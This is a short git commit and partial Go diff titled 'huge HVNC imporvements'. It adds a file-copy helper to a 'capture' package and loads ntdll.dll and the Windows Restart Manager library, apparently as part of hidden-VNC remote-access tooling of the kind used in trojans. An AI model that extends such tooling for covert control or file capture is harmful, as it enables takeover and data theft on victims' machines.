huge HVNC imporvements

This commit is contained in:
KingKDot
2026-03-17 23:55:39 -05:00
parent 746939c396
commit d381dbdc64
7 changed files with 180 additions and 106 deletions
@@ -3,13 +3,35 @@
package capture
import (
"io"
"log"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
)
func copyFileCount(src, dst string) (int64, error) {
in, err := os.Open(src)
if err != nil {
return 0, err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
return 0, err
}
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return 0, err
}
defer out.Close()
n, err := io.Copy(out, in)
return n, err
}
var (
ntdll = syscall.NewLazyDLL("ntdll.dll")
rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll")